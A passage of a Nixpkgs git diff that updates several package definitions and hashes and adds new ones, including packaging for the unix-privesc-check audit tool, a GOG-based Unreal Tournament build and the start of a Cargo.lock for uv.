- hash = "sha256-SxOQ/RABUkiqE7dLaDS0kETGiir4SMWJ2w7i7zMEl7U="; + hash = "sha256-+xn2SmpYdAb1nZkTOURqR5teu3dx2AKaiGoa9AmPA7o="; }; buildPhase = '' @@ -61,7 +67,7 @@ let offlineCache = fetchYarnDeps { yarnLock = "${frontendSrc}/yarn.lock"; - hash = "sha256-6e3UNd8gIBnTtllpo/1AC1XzeZ88rdUiechoQfo5V1Y="; + hash = "sha256-o8zWMLt6WqYWhcC7rqSeue6TxN20lYIjGqMxLApy5l0="; }; packageResolutions = { inherit typst-dom; }; @@ -90,8 +96,7 @@ rustPlatform.buildRustPackage { lockFile = ./Cargo.lock; outputHashes = { "typst-0.10.0" = "sha256-/Oy4KigXu1E/S9myd+eigqlNvk5x+Ld9gTL9dtpoyqk="; - "typst-ts-compiler-0.4.2-rc5" = - "sha256-fhwTaAK19Nb7AKNJ9QBZgK1MO7g7s5AdSDqaBjLxT3w="; + "typst-ts-compiler-0.4.2-rc6" = "sha256-mDQDxqXp38+Omt7D7kO2cUAVzG+h3JOs4tBdrbHH/lA="; }; }; diff --git a/pkgs/tools/graphics/ueberzugpp/default.nix b/pkgs/by-name/ue/ueberzugpp/package.nix index 8159831264511..a06923904d2f5 100644 --- a/pkgs/tools/graphics/ueberzugpp/default.nix +++ b/pkgs/by-name/ue/ueberzugpp/package.nix @@ -3,7 +3,6 @@ , fetchFromGitHub , cmake , pkg-config -, cli11 , openssl , zeromq , cppzmq @@ -16,6 +15,9 @@ , libsixel , microsoft-gsl , chafa +, cli11 +, libexif +, range-v3 , enableOpencv ? stdenv.isLinux , opencv , enableWayland ? stdenv.isLinux @@ -28,13 +30,13 @@ stdenv.mkDerivation rec { pname = "ueberzugpp"; - version = "2.9.2"; + version = "2.9.4"; src = fetchFromGitHub { owner = "jstkdng"; repo = "ueberzugpp"; rev = "v${version}"; - hash = "sha256-yIohpJRytmwt+6DLCWpmBiuCm9GcCHsGmpTI64/3d8U="; + hash = "sha256-D+7a+3Vxrt+XUq7c2F2eqi8ZGQ2eZd37aTqighWEKPs="; }; strictDeps = true; @@ -58,6 +60,8 @@ stdenv.mkDerivation rec { microsoft-gsl chafa cli11 + libexif + range-v3 ] ++ lib.optionals enableOpencv [ opencv ] ++ lib.optionals enableWayland [ diff --git a/pkgs/by-name/ue/uefisettings/package.nix b/pkgs/by-name/ue/uefisettings/package.nix new file mode 100644 index 0000000000000..9fd585340f96d --- /dev/null +++ b/pkgs/by-name/ue/uefisettings/package.nix @@ -0,0 +1,30 @@ +{ fetchFromGitHub +, lib +, rustPlatform +}: + +rustPlatform.buildRustPackage { + name = "uefisettings"; + version = "unstable-2024-02-20"; + + src = fetchFromGitHub { + owner = "linuxboot"; + repo = "uefisettings"; + rev = "eae8b8b622b7ac3c572eeb3b3513ed623e272fcc"; + hash = "sha256-zLgrxYBj5bEMZRw5sKWqKuV3jQOJ6dnzbzpoqE0OhKs="; + }; + + cargoHash = "sha256-FCQ/1E6SZyVOOAlpqyaDWEZx0y0Wk3Caosvr48VamAA="; + + # Tests expect filesystem access to directories like /proc + doCheck = false; + + meta = with lib; { + description = "CLI tool to read/get/extract and write/change/modify BIOS/UEFI settings."; + homepage = "https://github.com/linuxboot/uefisettings"; + license = with licenses; [ bsd3 ]; + mainProgram = "uefisettings"; + maintainers = with maintainers; [ surfaceflinger ]; + platforms = platforms.linux; + }; +} diff --git a/pkgs/by-name/ui/uiua/package.nix b/pkgs/by-name/ui/uiua/package.nix index 8b11104cb9a07..52d364fb7fbda 100644 --- a/pkgs/by-name/ui/uiua/package.nix +++ b/pkgs/by-name/ui/uiua/package.nix @@ -14,16 +14,16 @@ rustPlatform.buildRustPackage rec { pname = "uiua"; - version = "0.8.0"; + version = "0.9.5"; src = fetchFromGitHub { owner = "uiua-lang"; repo = "uiua"; rev = version; - hash = "sha256-JilYPIeJbVf9wgGpLTy8pbMwFRrW7Od+8y0tWwAXU84="; + hash = "sha256-629hJLSGf0LJ+P1j1b87RV6XGgsDaWif1a6+Eo3NmMw="; }; - cargoHash = "sha256-oXO2TBdKmVIpZD0jLI1CK9b48r3SwdeygcJoUG6HGXo="; + cargoHash = "sha256-ZRiDlsSZ5jjTrOrB/bg2xOcOTsCNFdP0jY0SwZ1zwGU="; nativeBuildInputs = lib.optionals stdenv.isDarwin [ rustPlatform.bindgenHook @@ -41,6 +41,7 @@ rustPlatform.buildRustPackage rec { buildFeatures = lib.optional audioSupport "audio"; + passthru.updateScript = ./update.sh; passthru.tests.run = runCommand "uiua-test-run" { nativeBuildInputs = [ uiua ]; } '' uiua init diff -U3 --color=auto <(uiua run main.ua) <(echo '"Hello, World!"') diff --git a/pkgs/by-name/ui/uiua/update.sh b/pkgs/by-name/ui/uiua/update.sh new file mode 100755 index 0000000000000..389ba4867198e --- /dev/null +++ b/pkgs/by-name/ui/uiua/update.sh @@ -0,0 +1,7 @@ +#!/usr/bin/env nix-shell +#!nix-shell -i bash -p curl jq nix-update common-updater-scripts + +nix-update uiua + +EXT_VER=$(curl https://raw.githubusercontent.com/uiua-lang/uiua-vscode/main/package.json | jq -r .version) +update-source-version vscode-extensions.uiua-lang.uiua-vscode $EXT_VER diff --git a/pkgs/by-name/um/umpire/package.nix b/pkgs/by-name/um/umpire/package.nix index d4fac1cd541c0..8ddaa8a02e516 100644 --- a/pkgs/by-name/um/umpire/package.nix +++ b/pkgs/by-name/um/umpire/package.nix @@ -6,13 +6,13 @@ stdenv.mkDerivation rec { pname = "umpire"; - version = "2023.06.0"; + version = "2024.02.0"; src = fetchFromGitHub { owner = "LLNL"; repo = "umpire"; rev = "v${version}"; - hash = "sha256-gdwr0ACCfkrtlVROPhxM7zT7SaCo2Eg1etrPFN4JHaA="; + hash = "sha256-0xJrICpGHQCLXfhDfS0/6gD3wrM9y6XB4XxyjG3vWGw="; fetchSubmodules = true; }; diff --git a/pkgs/by-name/un/undbx/package.nix b/pkgs/by-name/un/undbx/package.nix new file mode 100644 index 0000000000000..69db03479e995 --- /dev/null +++ b/pkgs/by-name/un/undbx/package.nix @@ -0,0 +1,34 @@ +{ lib +, stdenv +, fetchFromGitHub +, fetchpatch +, autoreconfHook +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "undbx"; + version = "0.22-unstable-2019-02-11"; + + src = fetchFromGitHub { + owner = "ZungBang"; + repo = "undbx"; + rev = "5e31c757e137a6409115cac0623d61d384019b7a"; + hash = "sha256-leregcv3dv/D3WvFkYyjQePdKi4BgE0aj5PY6JiSKl8="; + }; + + nativeBuildInputs = [ autoreconfHook ]; + + postPatch = '' + substituteInPlace Makefile.am \ + --replace-fail "-Werror" "" \ + --replace-fail "bin_SCRIPTS" "#bin_SCRIPTS" + ''; + meta = with lib; { + description = "Extract e-mail messages from Outlook Express DBX files"; + homepage = "https://github.com/ZungBang/undbx"; + maintainers = with maintainers; [ d3vil0p3r ]; + platforms = platforms.unix; + license = licenses.gpl3Plus; + mainProgram = "undbx"; + }; +}) diff --git a/pkgs/applications/networking/sync/unison/default.nix b/pkgs/by-name/un/unison/package.nix index 5245030fd7f35..2d68ba5799b47 100644 --- a/pkgs/applications/networking/sync/unison/default.nix +++ b/pkgs/by-name/un/unison/package.nix @@ -2,50 +2,37 @@ , stdenv , fetchFromGitHub , ocamlPackages -, ncurses , copyDesktopItems , makeDesktopItem , wrapGAppsHook , gsettings-desktop-schemas -, zlib -, enableX11 ? true -, Cocoa +, enableX11 ? !stdenv.isDarwin }: stdenv.mkDerivation (finalAttrs: { pname = "unison"; - version = "2.53.2"; + version = "2.53.4"; src = fetchFromGitHub { owner = "bcpierce00"; repo = "unison"; rev = "v${finalAttrs.version}"; - sha256 = "sha256-H+70NZZP0cUsxetFcsjWEx2kENsgMdo/41wBwwaX6zg="; + hash = "sha256-nFT6FjlQjh6qx0fepmT4aiQj2SxA7U/as+IU9xXNok0="; }; strictDeps = true; - nativeBuildInputs = [ ocamlPackages.ocaml ] - ++ lib.optionals enableX11 [ copyDesktopItems wrapGAppsHook ]; - buildInputs = [ ncurses zlib ] - ++ lib.optionals enableX11 [ gsettings-desktop-schemas ] - ++ lib.optionals stdenv.isDarwin [ Cocoa ]; - - preBuild = lib.optionalString enableX11 '' - sed -i "s|\(OCAMLOPT=.*\)$|\1 -I $(echo "${ocamlPackages.lablgtk3}"/lib/ocaml/*/site-lib/lablgtk3)|" src/Makefile.OCaml - sed -i "s|\(OCAMLOPT=.*\)$|\1 -I $(echo "${ocamlPackages.cairo2}"/lib/ocaml/*/site-lib/cairo2)|" src/Makefile.OCaml - '' + '' - echo -e '\ninstall:\n\tcp $(FSMONITOR)$(EXEC_EXT) $(INSTALLDIR)' >> src/fsmonitor/linux/Makefile + # uimac requires xcode + postPatch = '' + sed -i -e 's/ macuimaybe//' src/Makefile ''; - makeFlags = [ - "INSTALLDIR=$(out)/bin/" - "UISTYLE=${if enableX11 then "gtk3" else "text"}" - ] ++ lib.optional (!ocamlPackages.ocaml.nativeCompilers) "NATIVE=false"; + nativeBuildInputs = [ ocamlPackages.ocaml ocamlPackages.findlib ] + ++ lib.optionals enableX11 [ copyDesktopItems wrapGAppsHook ]; + buildInputs = lib.optionals enableX11 [ gsettings-desktop-schemas ocamlPackages.lablgtk3 ]; - preInstall = '' - mkdir -p $out/bin - ''; + makeFlags = [ "PREFIX=$(out)" ] + ++ lib.optionals (!ocamlPackages.ocaml.nativeCompilers) [ "NATIVE=false" ]; postInstall = lib.optionalString enableX11 '' install -D $src/icons/U.svg $out/share/icons/hicolor/scalable/apps/unison.svg @@ -58,7 +45,7 @@ stdenv.mkDerivation (finalAttrs: { desktopName = "Unison"; comment = "Bidirectional file synchronizer"; genericName = "File synchronization tool"; - exec = "unison"; + exec = "unison-gui"; icon = "unison"; categories = [ "Utility" "FileTools" "GTK" ]; startupNotify = true; @@ -69,8 +56,9 @@ stdenv.mkDerivation (finalAttrs: { homepage = "https://www.cis.upenn.edu/~bcpierce/unison/"; description = "Bidirectional file synchronizer"; license = licenses.gpl3Plus; - maintainers = with maintainers; [ viric ]; + maintainers = with maintainers; [ viric nevivurn ]; platforms = platforms.unix; - mainProgram = "unison"; + broken = stdenv.isDarwin && enableX11; # unison-gui and uimac are broken on darwin + mainProgram = if enableX11 then "unison-gui" else "unison"; }; }) diff --git a/pkgs/by-name/un/units/package.nix b/pkgs/by-name/un/units/package.nix new file mode 100644 index 0000000000000..dde43648cd730 --- /dev/null +++ b/pkgs/by-name/un/units/package.nix @@ -0,0 +1,70 @@ +{ lib +, fetchurl +, python3 +, readline +, stdenv +, enableCurrenciesUpdater ? true +}: + +let + pythonEnv = python3.withPackages(p: [ + p.requests + ]); +in stdenv.mkDerivation (finalAttrs: { + pname = "units"; + version = "2.23"; + + src = fetchurl { + url = "mirror://gnu/units/units-${finalAttrs.version}.tar.gz"; + hash = "sha256-2Ve0USRZJcnmFMRRM5dEljDq+SvWK4SVugm741Ghc3A="; + }; + + outputs = [ "out" "info" "man" ]; + + buildInputs = [ + readline + ] ++ lib.optionals enableCurrenciesUpdater [ + pythonEnv + ]; + + prePatch = lib.optionalString enableCurrenciesUpdater '' + substituteInPlace units_cur \ + --replace "#!/usr/bin/env python" ${pythonEnv}/bin/python + ''; + + postInstall = lib.optionalString enableCurrenciesUpdater '' + cp units_cur ${placeholder "out"}/bin/ + ''; + + doCheck = true; + + meta = { + homepage = "https://www.gnu.org/software/units/"; + description = "Unit conversion tool"; + longDescription = '' + GNU Units converts quantities expressed in various systems of measurement + to their equivalents in other systems of measurement. Like many similar + programs, it can handle multiplicative scale changes. It can also handle + nonlinear conversions such as Fahrenheit to Celsius or wire gauge, and it + can convert from and to sums of units, such as converting between meters + and feet plus inches. + + Beyond simple unit conversions, GNU Units can be used as a general-purpose + scientific calculator that keeps track of units in its calculations. You + can form arbitrary complex mathematical expressions of dimensions + including sums, products, quotients, powers, and even roots of + dimensions. Thus you can ensure accuracy and dimensional consistency when + working with long expressions that involve many different units that may + combine in complex ways. + + The units are defined in an external data file. You can use the extensive + data file that comes with this program, or you can provide your own data + file to suit your needs. You can also use your own data file to supplement + the standard data file. + ''; + license = with lib.licenses; [ gpl3Plus ]; + mainProgram = "units"; + maintainers = with lib.maintainers; [ AndersonTorres ]; + platforms = lib.platforms.all; + }; +}) diff --git a/pkgs/by-name/un/universal-android-debloater/package.nix b/pkgs/by-name/un/universal-android-debloater/package.nix index 8b91f0b5fae99..38c1b3fba86de 100644 --- a/pkgs/by-name/un/universal-android-debloater/package.nix +++ b/pkgs/by-name/un/universal-android-debloater/package.nix @@ -14,16 +14,16 @@ }: rustPlatform.buildRustPackage rec { pname = "universal-android-debloater"; - version = "0.6.2"; + version = "1.0.2"; src = fetchFromGitHub { owner = "Universal-Debloater-Alliance"; - repo = pname; - rev = version; - hash = "sha256-yCtdCg2mEAz4b/ev32x+RbjCtHTu20mOKFgtckXk1Fo="; + repo = "universal-android-debloater-next-generation"; + rev = "v${version}"; + hash = "sha256-v2svWAurYoUZzOHypM+Pk0FCnfSi1NH80jIafYxwLPQ="; }; - cargoHash = "sha256-70dX5fqORdGG2q3YeXJHABCHy0dvtA/Cptk8aLGNgV4="; + cargoHash = "sha256-gO1tvY565T+361JNVkFH4pC1ky2oxJqp/OCbS9sNeMI="; buildInputs = [ expat @@ -46,17 +46,17 @@ rustPlatform.buildRustPackage rec { ''; postInstall = '' - wrapProgram $out/bin/uad_gui \ + wrapProgram $out/bin/uad-ng \ --prefix LD_LIBRARY_PATH : ${lib.makeLibraryPath [ fontconfig freetype libglvnd xorg.libX11 xorg.libXcursor xorg.libXi xorg.libXrandr ]} \ --suffix PATH : ${lib.makeBinPath [ android-tools ]} ''; meta = with lib; { description = "A tool to debloat non-rooted Android devices"; - changelog = "https://github.com/Universal-Debloater-Alliance/universal-android-debloater/blob/${src.rev}/CHANGELOG.md"; - homepage = "https://github.com/Universal-Debloater-Alliance/universal-android-debloater"; + changelog = "https://github.com/Universal-Debloater-Alliance/universal-android-debloater-next-generation/blob/${src.rev}/CHANGELOG.md"; + homepage = "https://github.com/Universal-Debloater-Alliance/universal-android-debloater-next-generation"; license = licenses.gpl3Only; - mainProgram = "uad_gui"; + mainProgram = "uad-ng"; maintainers = with maintainers; [ xfix ]; platforms = platforms.linux; }; diff --git a/pkgs/by-name/un/unix-privesc-check/package.nix b/pkgs/by-name/un/unix-privesc-check/package.nix new file mode 100644 index 0000000000000..5ac7a6d29de1a --- /dev/null +++ b/pkgs/by-name/un/unix-privesc-check/package.nix @@ -0,0 +1,87 @@ +{ lib +, resholve +, fetchurl +, gawk +, bash +, binutils +, coreutils +, file +, findutils +, glibc +, gnugrep +, gnused +, nettools +, openssh +, postgresql +, ps +, util-linux +, which +}: + +# resholve does not yet support `finalAttrs` call pattern hence `rec` +# https://github.com/abathur/resholve/issues/107 +resholve.mkDerivation rec { + pname = "unix-privesc-check"; + version = "1.4"; + + src = fetchurl { + url = "https://pentestmonkey.net/tools/unix-privesc-check/unix-privesc-check-${version}.tar.gz"; + hash = "sha256-4fhef2n6ut0jdWo9dqDj2GSyHih2O2DOLmGBKQ0cGWk="; + }; + + patches = [ + ./unix-privesc-check.patch # https://github.com/NixOS/nixpkgs/pull/287629#issuecomment-1944428796 + ]; + + solutions = { + unix-privesc-check = { + scripts = [ "bin/unix-privesc-check" ]; + interpreter = "${bash}/bin/bash"; + inputs = [ + gawk + bash + binutils # for strings command + coreutils + file + findutils # for xargs command + glibc # for ldd command + gnugrep + gnused + nettools + openssh + postgresql # for psql command + ps + util-linux # for swapon command + which + ]; + fake = { + external = [ + "lanscan" # lanscan exists only for HP-UX OS + "mount" # Getting same error described in https://github.com/abathur/resholve/issues/29 + "passwd" # Getting same error described in https://github.com/abathur/resholve/issues/29 + ]; + }; + execer = [ + "cannot:${glibc.bin}/bin/ldd" + "cannot:${postgresql}/bin/psql" + "cannot:${openssh}/bin/ssh-add" + "cannot:${util-linux.bin}/bin/swapon" + ]; + }; + }; + + installPhase = '' + runHook preInstall + install -Dm 755 unix-privesc-check $out/bin/unix-privesc-check + runHook postInstall + ''; + + meta = with lib; { + description = "Find misconfigurations that could allow local unprivilged users to escalate privileges to other users or to access local apps"; + mainProgram = "unix-privesc-check"; + homepage = "https://pentestmonkey.net/tools/audit/unix-privesc-check"; + maintainers = with maintainers; [ d3vil0p3r ]; + platforms = platforms.unix; + license = licenses.gpl2Plus; + }; +} diff --git a/pkgs/by-name/un/unix-privesc-check/unix-privesc-check.patch b/pkgs/by-name/un/unix-privesc-check/unix-privesc-check.patch new file mode 100644 index 0000000000000..e0d3ab0bff56d --- /dev/null +++ b/pkgs/by-name/un/unix-privesc-check/unix-privesc-check.patch @@ -0,0 +1,20 @@ +--- a/unix-privesc-check 2024-02-14 20:21:24.725453661 +0100 ++++ b/unix-privesc-check 2024-02-14 20:21:46.577446690 +0100 +@@ -484,17 +484,6 @@ + # Set path so we can access usual directories. HPUX and some linuxes don't have sbin in the path. + PATH=$PATH:/usr/bin:/bin:/sbin:/usr/sbin; export PATH + +-# Check dependent programs are installed +-# Assume "which" is installed! +-PROGS="ls awk grep cat mount xargs file ldd strings" +-for PROG in $PROGS; do +- which $PROG 2>&1 > /dev/null +- if [ ! $? = "0" ]; then +- echo "ERROR: Dependend program '$PROG' is mising. Can't run. Sorry!" +- exit 1 +- fi +-done +- + banner + + section "Recording hostname" diff --git a/pkgs/by-name/un/unrar-free/package.nix b/pkgs/by-name/un/unrar-free/package.nix index 29e384c392629..8c34f3f0aa819 100644 --- a/pkgs/by-name/un/unrar-free/package.nix +++ b/pkgs/by-name/un/unrar-free/package.nix @@ -8,13 +8,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "unrar-free"; - version = "0.1.3"; + version = "0.2.0"; src = fetchFromGitLab { owner = "bgermann"; repo = "unrar-free"; rev = finalAttrs.version; - hash = "sha256-pNcbbHFcEzXKGKUg9nLM3NuUCgZFmFjFa4dXmUuuLYo"; + hash = "sha256-ONLc/mJt13Lfd61qraCAB9jOPzdPxoYLzq69llRf+BU="; }; nativeBuildInputs = [ autoreconfHook pkg-config ]; diff --git a/pkgs/by-name/up/updatecli/package.nix b/pkgs/by-name/up/updatecli/package.nix index 327c6b51bf814..737cc7a87203a 100644 --- a/pkgs/by-name/up/updatecli/package.nix +++ b/pkgs/by-name/up/updatecli/package.nix @@ -8,16 +8,16 @@ buildGoModule rec { pname = "updatecli"; - version = "0.70.0"; + version = "0.72.0"; src = fetchFromGitHub { owner = "updatecli"; repo = pname; rev = "v${version}"; - hash = "sha256-MQoi/HvJqGCYzQLNsJul/7N3MXkV1X5d48InUSIWT8o="; + hash = "sha256-t+HR/MrhwMQ0tDLoXU+mzI99PUtTLMpvBpGpqZed4q8="; }; - vendorHash = "sha256-RjyVlj66CbkQlzXkdP6ZWf+cNVjOgoPdskQefv9bNoo="; + vendorHash = "sha256-jHH4JHz1z1eW10A3bN0DbvgIXgVICPxUWld9EtjQX/8="; # tests require network access doCheck = false; diff --git a/pkgs/by-name/ut/ut1999/package.nix b/pkgs/by-name/ut/ut1999/package.nix new file mode 100644 index 0000000000000..92cb223d54675 --- /dev/null +++ b/pkgs/by-name/ut/ut1999/package.nix @@ -0,0 +1,98 @@ +{ lib, stdenv, requireFile, autoPatchelfHook, fetchurl, makeDesktopItem, copyDesktopItems, imagemagick +, runCommand, libgcc, wxGTK32, innoextract, libGL, SDL2, openal, libmpg123, libxmp }: + +let + unpackGog = runCommand "ut1999-gog" { + src = requireFile rec { + name = "setup_ut_goty_2.0.0.5.exe"; + sha256 = "00v8jbqhgb1fry7jvr0i3mb5jscc19niigzjc989qrcp9pamghjc"; + message = '' + Unreal Tournament 1999 requires the official GOG package, version 2.0.0.5. + + Once you download the file, run the following command: + + nix-prefetch-url file://\$PWD/${name} + ''; + }; + + buildInputs = [ innoextract ]; + } '' + innoextract --extract --exclude-temp "$src" + mkdir $out + cp -r app/* $out + ''; +in stdenv.mkDerivation rec { + name = "ut1999"; + version = "469d"; + sourceRoot = "."; + src = fetchurl { + url = "https://github.com/OldUnreal/UnrealTournamentPatches/releases/download/v${version}/OldUnreal-UTPatch${version}-Linux-amd64.tar.bz2"; + hash = "sha256-aoGzWuakwN/OL4+xUq8WEpd2c1rrNN/DkffI2vDVGjs="; + }; + + buildInputs = [ + libgcc + wxGTK32 + SDL2 + libGL + openal + libmpg123 + libxmp + stdenv.cc.cc + ]; + + nativeBuildInputs = [ + copyDesktopItems + autoPatchelfHook + imagemagick + ]; + + installPhase = '' + runHook preInstall + + mkdir -p $out/bin + cp -r ./* $out + + # Remove bundled libraries to use native versions instead + rm $out/System64/libmpg123.so* \ + $out/System64/libopenal.so* \ + $out/System64/libSDL2* \ + $out/System64/libxmp.so* + + chmod -R 755 $out + + ln -s ${unpackGog}/Music $out + ln -s ${unpackGog}/Sounds $out + cp -n ${unpackGog}/Textures/* $out/Textures || true + ln -s ${unpackGog}/Maps $out + cp -n ${unpackGog}/System/*.{u,int} $out/System || true + + ln -s "$out/System64/ut-bin" "$out/bin/ut1999" + ln -s "$out/System64/ucc-bin" "$out/bin/ut1999-ucc" + + convert "${unpackGog}/gfw_high.ico" "ut1999.png" + install -D ut1999-5.png "$out/share/icons/hicolor/256x256/apps/ut1999.png" + + runHook postInstall + ''; + + desktopItems = [ + (makeDesktopItem { + name = "ut1999"; + desktopName = "Unreal Tournament GOTY (1999)"; + exec = "ut1999"; + icon = "ut1999"; + comment = "Unreal Tournament GOTY (1999) with the OldUnreal patch."; + categories = [ "Game" ]; + }) + ]; + + meta = with lib; { + description = "Unreal Tournament GOTY (1999) with the OldUnreal patch."; + license = licenses.unfree; + platforms = [ "x86_64-linux" ]; + maintainers = with maintainers; [ eliandoran ]; + sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ]; + mainProgram = "ut1999"; + }; +} diff --git a/pkgs/by-name/uv/uv/Cargo.lock b/pkgs/by-name/uv/uv/Cargo.lock new file mode 100644 index 0000000000000..583f412c20b0d --- /dev/null +++ b/pkgs/by-name/uv/uv/Cargo.lock @@ -0,0 +1,5143 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "addr2line" +version = "0.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a30b2e23b9e17a9f90641c7ab1549cd9b44f296d3ccbf309d2863cfe398a0cb" +dependencies = [ + "gimli", +] + +[[package]] +name = "adler" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe" + +[[package]] +name = "ahash" +version = "0.7.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "891477e0c6a8957309ee5c45a6368af3ae14bb510732d2684ffa19af310920f9" +dependencies = [ + "getrandom", + "once_cell", + "version_check", +] + +[[package]] +name = "aho-corasick" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2969dcb958b36655471fc61f7e416fa76033bdd4bfed0678d8fee1e2d07a1f0" +dependencies = [ + "memchr", +] + +[[package]] +name = "alloc-no-stdlib" +version = "2.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc7bb162ec39d46ab1ca8c77bf72e890535becd1751bb45f64c597edb4c8c6b3" + +[[package]] +name = "alloc-stdlib" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94fb8275041c72129eb51b7d0322c29b8387a0386127718b096429201a5d6ece" +dependencies = [ + "alloc-no-stdlib", +] + +[[package]] +name = "android-tzdata" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0" + +[[package]] +name = "android_system_properties" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311" +dependencies = [ + "libc", +] + +[[package]] +name = "anes" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4b46cbb362ab8752921c97e041f5e366ee6297bd428a31275b9fcf1e380f7299" + +[[package]] +name = "anstream" +version = "0.6.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d96bd03f33fe50a863e394ee9718a706f988b9079b20c3784fb726e7678b62fb" +dependencies = [ + "anstyle", + "anstyle-parse", + "anstyle-query", + "anstyle-wincon", + "colorchoice", + "utf8parse", +] + +[[package]] +name = "anstyle" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8901269c6307e8d93993578286ac0edf7f195079ffff5ebdeea6a59ffb7e36bc" + +[[package]] +name = "anstyle-parse" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c75ac65da39e5fe5ab759307499ddad880d724eed2f6ce5b5e8a26f4f387928c" +dependencies = [ + "utf8parse", +] + +[[package]] +name = "anstyle-query" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e28923312444cdd728e4738b3f9c9cac739500909bb3d3c94b43551b16517648" +dependencies = [ + "windows-sys 0.52.0", +] + +[[package]] +name = "anstyle-wincon" +version = "3.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1cd54b81ec8d6180e24654d0b371ad22fc3dd083b6ff8ba325b72e00c87660a7" +dependencies = [ + "anstyle", + "windows-sys 0.52.0", +] + +[[package]] +name = "anyhow" +version = "1.0.80" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ad32ce52e4161730f7098c077cd2ed6229b5804ccf99e5366be1ab72a98b4e1" + +[[package]] +name = "arc-swap" +version = "1.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bddcadddf5e9015d310179a59bb28c4d4b9920ad0f11e8e14dbadf654890c9a6" + +[[package]] +name = "arrayref" +version = "0.3.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6b4930d2cb77ce62f89ee5d5289b4ac049559b1c45539271f5ed4fdc7db34545" + +[[package]] +name = "arrayvec" +version = "0.7.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96d30a06541fbafbc7f82ed10c06164cfbd2c401138f6addd8404629c4b16711" + +[[package]] +name = "assert_cmd" +version = "2.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed72493ac66d5804837f480ab3766c72bdfab91a65e565fc54fa9e42db0073a8" +dependencies = [ + "anstyle", + "bstr", + "doc-comment", + "predicates", + "predicates-core", + "predicates-tree", + "wait-timeout", +] + +[[package]] +name = "assert_fs" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2cd762e110c8ed629b11b6cde59458cc1c71de78ebbcc30099fc8e0403a2a2ec" +dependencies = [ + "anstyle", + "doc-comment", + "globwalk", + "predicates", + "predicates-core", + "predicates-tree", + "tempfile", +] + +[[package]] +name = "async-channel" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f28243a43d821d11341ab73c80bed182dc015c514b951616cf79bd4af39af0c3" +dependencies = [ + "concurrent-queue", + "event-listener", + "event-listener-strategy", + "futures-core", + "pin-project-lite", +] + +[[package]] +name = "async-compression" +version = "0.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a116f46a969224200a0a97f29cfd4c50e7534e4b4826bd23ea2c3c533039c82c" +dependencies = [ + "brotli", + "flate2", + "futures-core", + "futures-io", + "memchr", + "pin-project-lite", + "tokio", +] + +[[package]] +name = "async-trait" +version = "0.1.77" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c980ee35e870bd1a4d2c8294d4c04d0499e67bca1e4b5cefcc693c2fa00caea9" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "async_http_range_reader" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf8eeab30c68da4dc2c51f3afc4327ab06fe0f3f028ca423f7ca398c7ed8c5e7" +dependencies = [ + "bisection", + "futures", + "http-content-range", + "itertools 0.12.1", + "memmap2 0.9.4", + "reqwest", + "reqwest-middleware", + "thiserror", + "tokio", + "tokio-stream", + "tokio-util", + "tracing", +] + +[[package]] +name = "async_zip" +version = "0.0.16" +source = "git+https://github.com/charliermarsh/rs-async-zip?rev=d76801da0943de985254fc6255c0e476b57c5836#d76801da0943de985254fc6255c0e476b57c5836" +dependencies = [ + "async-compression", + "crc32fast", + "futures-lite", + "pin-project", + "thiserror", + "tokio", + "tokio-util", +] + +[[package]] +name = "autocfg" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" + +[[package]] +name = "backtrace" +version = "0.3.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2089b7e3f35b9dd2d0ed921ead4f6d318c27680d4a5bd167b3ee120edb105837" +dependencies = [ + "addr2line", + "cc", + "cfg-if", + "libc", + "miniz_oxide", + "object", + "rustc-demangle", +] + +[[package]] +name = "backtrace-ext" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "537beee3be4a18fb023b570f80e3ae28003db9167a751266b259926e25539d50" +dependencies = [ + "backtrace", +] + +[[package]] +name = "base64" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e1b586273c5702936fe7b7d6896644d8be71e6314cfe09d3167c95f712589e8" + +[[package]] +name = "base64" +version = "0.21.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 